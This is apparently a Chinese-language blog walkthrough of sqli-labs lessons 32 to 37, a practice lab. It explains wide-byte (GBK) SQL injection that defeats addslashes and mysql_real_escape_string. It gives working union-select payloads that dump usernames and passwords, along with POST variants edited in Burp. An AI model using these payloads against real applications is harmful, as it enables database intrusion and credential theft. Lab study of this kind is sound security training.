sql-lib闯关之lesson32-37

LESS32

知识铺垫: 宽字节注入

宽字节注入原理:

GBK 占用两字节

ASCII占用一字节

PHP中编码为GBK,函数执行添加的是ASCII编码(添加的符号为“\”),MYSQL默认字符集是GBK等宽字节字符集。

大家都知道%df’ 被PHP转义(开启GPC、用addslashes函数,或者icov等),单引号被加上反斜杠\,变成了 %df\’,其中\的十六进制是 %5C ,那么现在 %df\’ =%df%5c%27,如果程序的默认字符集是GBK等宽字节字符集,则MySQL用GBK的编码时,会认为 %df%5c 是一个宽字符,也就是,也就是说:%df\’ = %df%5c%27=縗’,有了单引号就好注入了。
参考链接:https://blog.csdn.net/helloc0de/article/details/76180190

中文、韩文、日文等均存在宽字节,英文默认都是一个字节。 

例子:

id= 1’ 处理 1 \’ 进行编码 1%5c%27 带入sql后 id = \’ and XXXX 此时无法完成注入

id=1%df’ 处理 1%df\’ 进行编码 1%df%5c%27 带入sql后 id =1運’ and XXX 此时存在宽字节注入漏洞 

 

下面我们开始闯关。

我们观察到源码中加入了 addslashes函数

 

 PHP addslashes()函数:

 

 check_addslashes()会在单引号前加一个\ 例如:I'm hacker 传入addslashes(),得到:I\'m hacker

所以这就有了宽字节注入的用武之地了。
1.我们输入?id=1’,可以发现被函数进行了转义

 

 2.进行宽字节注入
输入:?id=-1%df' union select 1,2,group_concat(concat_ws(0x7e,username,password)) from security.users --+

 

 3.也可以利用%aa%5c‘ 来构造
%aa  %5c  ’
%aa  %5c   %27
转义得到
%aa %5c %5c %5c %27
解码得到

 

 输入:?id=-1%aa%5c' union select 1,2,group_concat(concat_ws(0x7e,username,password)) from security.users --+

 

 

 


LESS33

好像和上一关相同

输入:?id=-1%df' union select 1,2,group_concat(concat_ws(0x7e,username,password)) from security.users --+

 

 


LESS34

可以看出本关使用的是POST类型注入,而且观察源码依旧使用了addslashes()函数

 

 我们尝试宽字节注入,发现不行,因为post传入数据还是会再次编码。

我们输入账户密码后通过burp抓包显示,它给我们多加了一个转码%25,我们需要自己手动删除。

 

 然后我们将包更改为
unmae=a%df‘ union select 1,2# &passwd=ad&submit=Submit

 

 

另外,我们可以将UTF-8转换为UTF-16。

例如将'转换为utf-16为: �'。

如图所示:

 

 

 

 


LESS35

这关大同小异 只不过没有包裹

输入:?id=-1 union select 1,2,group_concat(concat_ws(0x7e,username,password)) from security.users --+

 

 


LESS36

观察源码发现使用了PHP mysql_real_escape_string() 函数

 

 
参考连接:https://www.w3school.com.cn/php/func_mysql_real_escape_string.asp

mysql_real_escape_string() 函数转义 SQL 语句中使用的字符串中的特殊字符。

下列字符受影响:

  • \x00
  • \n
  • \r
  • \
  • '
  • "
  • \x1a

如果成功,则该函数返回被转义的字符串。如果失败,则返回 false。

我们依旧可以使用宽字节注入的方法。

输入:?id=1%df' union select 1,2,database() --+

 

 


LESS37

 

37关和34关类似,POST类型,使用的是mysql_real_escape_string()函数
同样可以使用将单引号从utf-8转换为utf-16的方法

也可以通过burp改数据包

posted @ 2020-03-11 17:42  陈子硕  阅读(162)  评论(0编辑  收藏  举报